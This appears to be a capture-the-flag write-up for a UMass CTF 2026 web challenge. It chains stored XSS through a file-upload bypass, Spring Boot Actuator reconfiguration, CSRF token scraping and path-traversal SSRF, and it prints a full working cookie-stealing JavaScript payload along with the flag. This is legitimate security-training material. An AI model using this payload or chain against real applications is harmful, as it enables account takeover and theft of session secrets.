UMass CTF 2026 - The Block City Times

The Block City Times is here to inform you!

Initial Analysis

“The Block City Times” is a complex web application built with Spring Boot, involving multiple internal services (editorial, report-runner) and a Puppeteer-based bot. The challenge requires chaining several vulnerabilities to leak a sensitive FLAG cookie from an internal diagnostic service.

Solution

The attack follows a multi-stage exploit chain:

  1. Arbitrary File Upload & XSS: The /submit endpoint allows uploading “story” files. Although it checks the Content-Type, this is easily bypassed. Files are saved with their original extension and served via /files/{filename}. By uploading an .html file with Content-Type: text/plain, we can achieve stored XSS.

  2. Administrative Bot Triggering: The editorial service automatically reviews every submission by visiting the uploaded file as an administrator. This allows our XSS payload to execute with administrative privileges.

  3. Actuator Abuse: The application exposes Spring Boot Actuator endpoints. Via XSS, the editorial bot can be forced to modify application properties at runtime:

    • Disable production enforcement: POST /actuator/env with app.enforce-production=false.
    • Switch to dev mode: POST /admin/switch?config=dev.
  4. SSRF & Cookie Leakage: The report-runner service logs in as an admin, sets a FLAG cookie, and visits a user-specified API endpoint. While it checks if the endpoint starts with /api/, this can be bypassed with path traversal (e.g., /api/../files/exploit.html).

Exploit Payload (exploit.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
(async () => {
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const filename = location.pathname.split("/").pop();

// STAGE 2: If visited by report-runner, leak the flag to article tags
if (document.cookie.includes("FLAG=")) {
await fetch("/api/tags/article/1", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify([document.cookie]),
});
return;
}

// STAGE 1: If visited by editorial bot, reconfigure the app and trigger report
try {
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.enforce-production", value: "false" }),
});
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.active-config", value: "dev" }),
});
await fetch("/actuator/refresh", { method: "POST" });
await sleep(2000);

const adminPage = await (await fetch("/admin")).text();
const csrfToken = adminPage.match(/name="_csrf" value="([^"]+)"/)[1];

const params = new URLSearchParams();
params.append("_csrf", csrfToken);
params.append("endpoint", "/api/../files/" + filename);

await fetch("/admin/report", { method: "POST", body: params });
} catch (e) {}
})();
</script>

After uploading the exploit (bypassing the extension check by modifying the filename to .html in the multipart request), the editorial bot triggers the reconfiguration and the report-runner. The flag is then leaked to the tags of Article 1.

Flag

UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}